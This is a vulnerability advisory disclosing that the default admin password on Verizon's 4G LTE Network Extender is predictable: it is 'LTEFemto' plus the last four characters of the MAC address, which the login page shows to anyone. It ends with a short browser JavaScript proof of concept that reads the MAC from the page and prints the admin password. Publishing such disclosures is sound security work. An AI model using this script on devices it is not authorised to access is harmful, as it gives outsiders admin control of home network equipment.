Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

`  
Verizon 4G LTE Network Extender Weak Credentials Algorithm  
  
  
Vendor: Verizon Communications Inc.  
Product web page: https://www.verizon.com  
Affected version: GA4.38 - V0.4.038.2131  
  
Summary: An LTE Network Extender enhances your indoor and 4G  
LTE data and voice coverage to provide better service for your  
4G LTE mobile devices. It's an extension of our 4G LTE network  
that's placed directly in your home or office. The LTE Network  
Extender works with all Verizon-sold 4G LTE mobile devices for  
4G LTE data service and HD Voice-capable 4G LTE devices for voice  
service. This easy-to-install device operates like a miniature  
cell tower that plugs into your existing high-speed broadband  
connection to communicate with the Verizon wireless network.  
  
Desc: Verizon's 4G LTE Network Extender is utilising a weak  
default admin password generation algorithm. The password is  
generated using the last 4 values from device's MAC address  
which is disclosed on the main webUI login page to an unauthenticated  
attacker. The values are then concatenated with the string  
'LTEFemto' resulting in something like 'LTEFemtoD080' as the  
default Admin password.  
  
Tested on: lighttpd-web  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2022-5701  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php  
  
  
17.02.2022  
  
--  
  
  
snippet:///Exploit  
//  
// Verizon 4G LTE Network Extender Super Awesome JS Exploit  
//  
  
console.log("Calling 'isDefaultPassword' API");  
let req = new Request("/webapi/isDefaultPassword");  
let def = req.url;  
  
const doAjax = async () => {  
const resp = await fetch(def);  
if (resp.ok) {  
const jsonyo = await resp.json();  
return Promise.resolve(jsonyo);  
} else {  
return Promise.reject("Smth not rite captain!");  
}  
}  
doAjax().then(console.log).catch(console.log);  
  
await new Promise(t => setTimeout(t, 1337));  
  
console.log("Verizon Admin Password: ");  
let mac = document.querySelector("#mac_address").innerHTML;  
console.log("LTEFemto" + mac.substr(-4));  
`